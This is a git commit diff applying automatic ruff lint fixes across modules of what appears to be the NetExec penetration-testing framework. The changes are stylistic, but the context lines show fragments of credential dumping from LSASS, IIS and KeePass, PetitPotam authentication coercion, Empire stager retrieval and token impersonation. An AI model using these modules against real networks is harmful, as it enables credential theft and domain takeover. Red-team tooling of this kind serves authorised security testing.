automatic ruff fixing

main
Marshall Hallenbeck 2023-09-20 11:59:16 -04:00
parent f9489dcb7e
commit 85335213da
71 changed files with 194 additions and 219 deletions

View File

@ -154,7 +154,7 @@ class connection(object):
return return
def proto_flow(self): def proto_flow(self):
self.logger.debug(f"Kicking off proto_flow") self.logger.debug("Kicking off proto_flow")
self.proto_logger() self.proto_logger()
if self.create_conn_obj(): if self.create_conn_obj():
self.enum_host_info() self.enum_host_info()

View File

@ -11,7 +11,8 @@ def add_user_bh(user, domain, logger, config):
if config.get("BloodHound", "bh_enabled") != "False": if config.get("BloodHound", "bh_enabled") != "False":
try: try:
from neo4j.v1 import GraphDatabase from neo4j.v1 import GraphDatabase
except: except Exception as e:
logger.debug(f"Exception while importing neo4j.v1: {e}")
from neo4j import GraphDatabase from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable from neo4j.exceptions import AuthError, ServiceUnavailable
@ -42,13 +43,13 @@ def add_user_bh(user, domain, logger, config):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound") logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e: except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.") logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return return
except ServiceUnavailable as e: except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.") logger.fail(f"Neo4J does not seem to be available on {uri}.")
return return
except Exception as e: except Exception:
logger.fail("Unexpected error with Neo4J") logger.fail("Unexpected error with Neo4J")
logger.fail("Account not found on the domain") logger.fail("Account not found on the domain")
return return

View File

@ -47,16 +47,16 @@ class NXCModule:
search_filter = "(objectClass=pKIEnrollmentService)" search_filter = "(objectClass=pKIEnrollmentService)"
else: else:
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration," search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
self.context.log.highlight("Using PKI CN: {}".format(self.server)) self.context.log.highlight(f"Using PKI CN: {self.server}")
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter)) context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
try: try:
sc = ldap.SimplePagedResultsControl() sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None: if self.server is None:
resp = connection.ldapConnection.search( connection.ldapConnection.search(
searchFilter=search_filter, searchFilter=search_filter,
attributes=[], attributes=[],
sizeLimit=0, sizeLimit=0,
@ -65,7 +65,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root, searchBase="CN=Configuration," + base_dn_root,
) )
else: else:
resp = connection.ldapConnection.search( connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ")", searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"], attributes=["certificateTemplates"],
sizeLimit=0, sizeLimit=0,
@ -74,7 +74,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root, searchBase="CN=Configuration," + base_dn_root,
) )
except LDAPSearchError as e: except LDAPSearchError as e:
context.log.fail("Obtained unexpected exception: {}".format(str(e))) context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item): def process_servers(self, item):
""" """

View File

@ -246,7 +246,7 @@ class NXCModule:
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')) 'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True self.noLDAPRequired = True
except Exception as e: except Exception:
if logging.getLogger().level == logging.DEBUG: if logging.getLogger().level == logging.DEBUG:
import traceback import traceback
traceback.print_exc() traceback.print_exc()
@ -283,9 +283,9 @@ class NXCModule:
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain) result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
if result: if result:
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account')) context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
elif result == False and c.last_error == "noSuchObject": elif result is False and c.last_error == "noSuchObject":
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found')) context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
elif result == False and c.last_error == "insufficientAccessRights": elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight( context.log.highlight(
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"')) u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
else: else:
@ -299,7 +299,7 @@ class NXCModule:
context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:')) context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
context.log.highlight(u'{}'.format( context.log.highlight(u'{}'.format(
'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"')) 'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
elif result == False and c.last_error == "entryAlreadyExists": elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists')) context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
elif not result: elif not result:
context.log.highlight(u'{}'.format( context.log.highlight(u'{}'.format(

View File

@ -43,8 +43,8 @@ class NXCModule:
return return
def execute_appcmd(self, context, connection): def execute_appcmd(self, context, connection):
command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"' command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info(f'Checking For Hidden Credentials With Appcmd.exe') context.log.info('Checking For Hidden Credentials With Appcmd.exe')
output = connection.execute(command, True) output = connection.execute(command, True)
lines = output.splitlines() lines = output.splitlines()

View File

@ -227,7 +227,7 @@ class NXCModule:
try: try:
self.target_file = open(module_options["TARGET"], "r") self.target_file = open(module_options["TARGET"], "r")
self.target_sAMAccountName = None self.target_sAMAccountName = None
except Exception as e: except Exception:
context.log.fail("The file doesn't exist or cannot be openned.") context.log.fail("The file doesn't exist or cannot be openned.")
else: else:
self.target_sAMAccountName = module_options["TARGET"] self.target_sAMAccountName = module_options["TARGET"]
@ -288,7 +288,7 @@ class NXCModule:
][0] ][0]
) )
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid) context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
except Exception as e: except Exception:
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal) context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
exit(1) exit(1)
@ -303,7 +303,7 @@ class NXCModule:
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1") self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0]) context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
except Exception as e: except Exception:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName) context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
exit(1) exit(1)
@ -325,7 +325,7 @@ class NXCModule:
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1") self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName) context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
except Exception as e: except Exception:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName) context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
continue continue
@ -380,7 +380,7 @@ class NXCModule:
) )
try: try:
self.target_principal = target[0] self.target_principal = target[0]
except Exception as e: except Exception:
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal) context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
exit(0) exit(0)
@ -397,7 +397,7 @@ class NXCModule:
dn = self.ldap_session.entries[0].entry_dn dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0]) sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid return dn, sid
except Exception as e: except Exception:
context.log.fail("User not found in LDAP: %s" % samname) context.log.fail("User not found in LDAP: %s" % samname)
return False return False
@ -410,7 +410,7 @@ class NXCModule:
# Tries to resolve the SID from the LDAP domain dump # Tries to resolve the SID from the LDAP domain dump
else: else:
try: try:
dn = self.ldap_session.search( self.ldap_session.search(
searchBase=self.baseDN, searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid, searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"], attributes=["sAMAccountName"],
@ -427,7 +427,7 @@ class NXCModule:
1 1
][0] ][0]
return samname return samname
except Exception as e: except Exception:
context.log.debug("SID not found in LDAP: %s" % sid) context.log.debug("SID not found in LDAP: %s" % sid)
return "" return ""

View File

@ -147,7 +147,7 @@ class TriggerAuth:
if self.args.verbose: if self.args.verbose:
nxc_logger.debug(request.dump()) nxc_logger.debug(request.dump())
# logger.debug(request.dump()) # logger.debug(request.dump())
resp = dce.request(request) dce.request(request)
except Exception as e: except Exception as e:
nxc_logger.debug(e) nxc_logger.debug(e)

View File

@ -100,7 +100,7 @@ class NXCModule:
verify=False, verify=False,
) )
except ConnectionError: except ConnectionError:
context.log.fail(f"Unable to request stager from Empire's RESTful API") context.log.fail("Unable to request stager from Empire's RESTful API")
sys.exit(1) sys.exit(1)
if stager_response.status_code not in [200, 201]: if stager_response.status_code not in [200, 201]:
@ -130,7 +130,7 @@ class NXCModule:
if download_response.status_code == 200: if download_response.status_code == 200:
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'") context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
else: else:
context.log.fail(f"Something went wrong when retrieving stager Powershell command") context.log.fail("Something went wrong when retrieving stager Powershell command")
def on_admin_login(self, context, connection): def on_admin_login(self, context, connection):
if self.empire_launcher: if self.empire_launcher:

View File

@ -59,7 +59,7 @@ class NXCModule:
if product["name"] not in results: if product["name"] not in results:
results[product["name"]] = {"services": []} results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service) results[product["name"]]["services"].append(service)
except Exception as e: except Exception:
pass pass
success += 1 success += 1
except Exception as e: except Exception as e:
@ -146,7 +146,7 @@ class LsaLookupNames:
""" """
string_binding = string_binding or self.string_binding string_binding = string_binding or self.string_binding
if not string_binding: if not string_binding:
raise NotImplemented("String binding must be defined") raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport = transport.DCERPCTransportFactory(string_binding)

View File

@ -1,7 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import socket import socket
import sys
class NXCModule: class NXCModule:
''' '''
@ -78,7 +77,7 @@ class NXCModule:
IP = socket.gethostbyname(answer[0]) IP = socket.gethostbyname(answer[0])
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP)) context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
context.log.debug('IP found') context.log.debug('IP found')
except socket.gaierror as e: except socket.gaierror:
context.log.debug('Missing IP') context.log.debug('Missing IP')
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found")) context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
else: else:

View File

@ -27,7 +27,7 @@ class NXCModule:
def on_admin_login(self, context, connection): def on_admin_login(self, context, connection):
data = [] data = []
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards: if cards:
for c in cards: for c in cards:
if c["IPAddress"].get("value"): if c["IPAddress"].get("value"):
@ -35,6 +35,6 @@ class NXCModule:
data.append(cards) data.append(cards)
log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")) log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name) write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}") context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")

View File

@ -77,16 +77,16 @@ def doSearch(self,context, connection,searchFilter,attributeName):
for item in resp: for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue continue
attributeValue = ''; attributeValue = ''
try: try:
for attribute in item['attributes']: for attribute in item['attributes']:
if str(attribute['type']) == attributeName: if str(attribute['type']) == attributeName:
if attributeName == "objectSid": if attributeName == "objectSid":
attributeValue = bytes(attribute['vals'][0]) attributeValue = bytes(attribute['vals'][0])
return attributeValue; return attributeValue
elif attributeName == "distinguishedName": elif attributeName == "distinguishedName":
attributeValue = bytes(attribute['vals'][0]) attributeValue = bytes(attribute['vals'][0])
return attributeValue; return attributeValue
else: else:
attributeValue = str(attribute['vals'][0]) attributeValue = str(attribute['vals'][0])
if attributeValue is not None: if attributeValue is not None:

View File

@ -73,7 +73,7 @@ class NXCModule:
p = p[0] p = p[0]
if not p or p == "None": if not p or p == "None":
context.log.fail(f"Failed to execute command to get LSASS PID") context.log.fail("Failed to execute command to get LSASS PID")
return return
# we get a CSV string back from `tasklist`, so we grab the PID from it # we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1] pid = p.split(",")[1][1:-1]

View File

@ -24,9 +24,9 @@ def neo4j_conn(context, connection, driver):
session = driver.session() session = driver.session()
list(session.run("MATCH (g:Group) return g LIMIT 1")) list(session.run("MATCH (g:Group) return g LIMIT 1"))
context.log.display("Connection Successful!") context.log.display("Connection Successful!")
except AuthError as e: except AuthError:
context.log.fail("Invalid credentials") context.log.fail("Invalid credentials")
except ServiceUnavailable as e: except ServiceUnavailable:
context.log.fail("Could not connect to neo4j database") context.log.fail("Could not connect to neo4j database")
except Exception as e: except Exception as e:
context.log.fail("Error querying domain admins") context.log.fail("Error querying domain admins")

View File

@ -60,14 +60,14 @@ class NXCModule:
with open(file_to_upload, 'rb') as impersonate: with open(file_to_upload, 'rb') as impersonate:
try: try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read) connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
context.log.success(f"Impersonate binary successfully uploaded") context.log.success("Impersonate binary successfully uploaded")
except Exception as e: except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return return
try: try:
if self.cmd == "" or self.token == "": if self.cmd == "" or self.token == "":
context.log.display(f"Listing available primary tokens") context.log.display("Listing available primary tokens")
p = self.list_available_primary_tokens(context, connection) p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines(): for line in p.splitlines():
token, token_integrity, token_owner = line.split(" ", 2) token, token_integrity, token_owner = line.split(" ", 2)
@ -87,13 +87,13 @@ class NXCModule:
for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line) context.log.highlight(line)
else: else:
context.log.fail(f"Invalid token ID submitted") context.log.fail("Invalid token ID submitted")
except Exception as e: except Exception as e:
context.log.fail(f"Error runing command: {e}") context.log.fail(f"Error runing command: {e}")
finally: finally:
try: try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}") connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
context.log.success(f"Impersonate binary successfully deleted") context.log.success("Impersonate binary successfully deleted")
except Exception as e: except Exception as e:
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}") context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")

View File

@ -171,9 +171,9 @@ class NXCModule:
# checks if the malicious trigger was effectively added to the specified KeePass configuration file # checks if the malicious trigger was effectively added to the specified KeePass configuration file
if self.trigger_added(context, connection): if self.trigger_added(context, connection):
context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files") context.log.success("Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
else: else:
context.log.fail(f"Unknown error when adding malicious trigger to file") context.log.fail("Unknown error when adding malicious trigger to file")
sys.exit(1) sys.exit(1)
def check_trigger_added(self, context, connection): def check_trigger_added(self, context, connection):

View File

@ -3,7 +3,7 @@
import json import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract from nxc.protocols.ldap.laps import LAPSv2Extract
class NXCModule: class NXCModule:
""" """

View File

@ -162,24 +162,24 @@ class NXCModule:
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential)) ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected == False: if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!") context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected == True: elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced") context.log.fail("LDAP Signing IS Enforced")
else: else:
context.log.fail("Connection fail, exiting now") context.log.fail("Connection fail, exiting now")
exit() exit()
if DoesLdapsCompleteHandshake(connection.host) == True: if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True: if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"') context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False: elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"') context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck == True: elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"') context.log.fail('LDAPS Channel Binding is set to "Required"')
else: else:
context.log.fail("\nSomething went wrong...") context.log.fail("\nSomething went wrong...")

View File

@ -75,13 +75,13 @@ class NXCModule:
credentials, tickets, masterkeys = parsed credentials, tickets, masterkeys = parsed
file.close() file.close()
context.log.debug(f"Closed dumper file") context.log.debug("Closed dumper file")
file_path = file.get_file_path() file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}") context.log.debug(f"File path: {file_path}")
try: try:
deleted_file = ImpacketFile.delete(session, file_path) deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file: if deleted_file:
context.log.debug(f"Deleted dumper file") context.log.debug("Deleted dumper file")
else: else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}") context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e: except Exception as e:
@ -119,7 +119,7 @@ class NXCModule:
) )
credentials_output.append(cred) credentials_output.append(cred)
context.log.debug(f"Calling process_credentials") context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output) self.process_credentials(context, connection, credentials_output)
def process_credentials(self, context, connection, credentials): def process_credentials(self, context, connection, credentials):
@ -128,7 +128,7 @@ class NXCModule:
credz_bh = [] credz_bh = []
domain = None domain = None
for cred in credentials: for cred in credentials:
if cred["domain"] == None: if cred["domain"] is None:
cred["domain"] = "" cred["domain"] = ""
domain = cred["domain"] domain = cred["domain"]
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper(): if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():

View File

@ -64,25 +64,25 @@ class NXCModule:
with open(file_to_upload, "rb") as msol: with open(file_to_upload, "rb") as msol:
try: try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read) connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success(f"Msol script successfully uploaded") context.log.success("Msol script successfully uploaded")
except Exception as e: except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return return
try: try:
if self.cmd == "": if self.cmd == "":
context.log.display(f"Executing the script") context.log.display("Executing the script")
p = self.exec_script(context, connection) p = self.exec_script(context, connection)
for line in p.splitlines(): for line in p.splitlines():
p1, p2 = line.split(" ", 1) p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}") context.log.highlight(f"{p1} {p2}")
else: else:
context.log.fail(f"Script Execution Impossible") context.log.fail("Script Execution Impossible")
except Exception as e: except Exception as e:
context.log.fail(f"Error running command: {e}") context.log.fail(f"Error running command: {e}")
finally: finally:
try: try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}") connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success(f"Msol script successfully deleted") context.log.success("Msol script successfully deleted")
except Exception as e: except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}") context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")

View File

@ -175,7 +175,7 @@ class NXCModule:
is_admin = res[0][""] is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}") self.context.log.debug(f"IsAdmin Result: {is_admin}")
if is_admin: if is_admin:
self.context.log.debug(f"User is admin!") self.context.log.debug("User is admin!")
self.admin_privs = True self.admin_privs = True
return True return True
else: else:
@ -276,7 +276,7 @@ class NXCModule:
return users return users
def remove_sysadmin_priv(self) -> bool: def remove_sysadmin_priv(self) -> bool:
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'") self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
return not self.is_admin() return not self.is_admin()
def is_admin_user(self, username) -> bool: def is_admin_user(self, username) -> bool:

View File

@ -124,7 +124,7 @@ class NXCModule:
p = p[0] p = p[0]
if not p or p == "None": if not p or p == "None":
self.context.log.fail(f"Failed to execute command to get LSASS PID") self.context.log.fail("Failed to execute command to get LSASS PID")
return return
pid = p.split(",")[1][1:-1] pid = p.split(",")[1][1:-1]
@ -138,7 +138,7 @@ class NXCModule:
self.context.log.debug(f"NanoDump Command Result: {p}") self.context.log.debug(f"NanoDump Command Result: {p}")
if not p or p == "None": if not p or p == "None":
self.context.log.fail(f"Failed to execute command to execute NanoDump") self.context.log.fail("Failed to execute command to execute NanoDump")
self.delete_nanodump_binary() self.delete_nanodump_binary()
return return

View File

@ -49,5 +49,5 @@ class NXCModule:
context.log.highlight("") context.log.highlight("")
context.log.highlight("VULNERABLE") context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Ridter/noPac") context.log.highlight("Next step: https://github.com/Ridter/noPac")
except OSError as e: except OSError:
context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}") context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}")

View File

@ -43,8 +43,8 @@ class NXCModule:
key_handle, key_handle,
"lmcompatibilitylevel\x00", "lmcompatibilitylevel\x00",
) )
except rrp.DCERPCSessionError as e: except rrp.DCERPCSessionError:
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set") context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
if rtype and data and int(data) in [0, 1, 2]: if rtype and data and int(data) in [0, 1, 2]:
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data)) context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))

View File

@ -67,8 +67,8 @@ class NXCModule:
host.signing, host.signing,
petitpotam=True, petitpotam=True,
) )
except Exception as e: except Exception:
context.log.debug(f"Error updating petitpotam status in database") context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException): class DCERPCSessionError(DCERPCException):
@ -270,7 +270,7 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
request = EfsRpcOpenFileRaw() request = EfsRpcOpenFileRaw()
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
request["Flag"] = 0 request["Flag"] = 0
resp = dce.request(request) dce.request(request)
except Exception as e: except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0: if str(e).find("ERROR_BAD_NETPATH") >= 0:
@ -284,7 +284,7 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
try: try:
request = EfsRpcEncryptFileSrv() request = EfsRpcEncryptFileSrv()
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
resp = dce.request(request) dce.request(request)
except Exception as e: except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0: if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!") context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")

View File

@ -48,8 +48,8 @@ class NXCModule:
try: try:
if self.cmd == "" or self.pid == "": if self.cmd == "" or self.pid == "":
self.uploadfile = False self.uploadfile = False
context.log.highlight(f"Firstly run tasklist.exe /v to find process id for each user") context.log.highlight("Firstly run tasklist.exe /v to find process id for each user")
context.log.highlight(f"Usage: -o PID=pid EXEC='Command'") context.log.highlight("Usage: -o PID=pid EXEC='Command'")
return return
else: else:
self.uploadfile = True self.uploadfile = True
@ -57,7 +57,7 @@ class NXCModule:
with open(file_to_upload, 'rb') as pi: with open(file_to_upload, 'rb') as pi:
try: try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read) connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read)
context.log.success(f"pi.exe successfully uploaded") context.log.success("pi.exe successfully uploaded")
except Exception as e: except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
@ -72,8 +72,8 @@ class NXCModule:
context.log.fail(f"Error running command: {e}") context.log.fail(f"Error running command: {e}")
finally: finally:
try: try:
if self.uploadfile == True: if self.uploadfile is True:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}") connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}")
context.log.success(f"pi.exe successfully deleted") context.log.success("pi.exe successfully deleted")
except Exception as e: except Exception as e:
context.log.fail(f"Error deleting pi.exe on {self.share}: {e}") context.log.fail(f"Error deleting pi.exe on {self.share}: {e}")

View File

@ -53,7 +53,7 @@ class NXCModule:
self.dir_result = module_options["DIR_RESULT"] self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection): def on_admin_login(self, context, connection):
if self.useembeded == True: if self.useembeded is True:
with open(self.procdump_path + self.procdump, "wb") as procdump: with open(self.procdump_path + self.procdump, "wb") as procdump:
procdump.write(self.procdump_embeded) procdump.write(self.procdump_embeded)
@ -114,7 +114,6 @@ class NXCModule:
with open(self.dir_result + machine_name, "rb") as dump: with open(self.dir_result + machine_name, "rb") as dump:
try: try:
credentials = []
credz_bh = [] credz_bh = []
try: try:
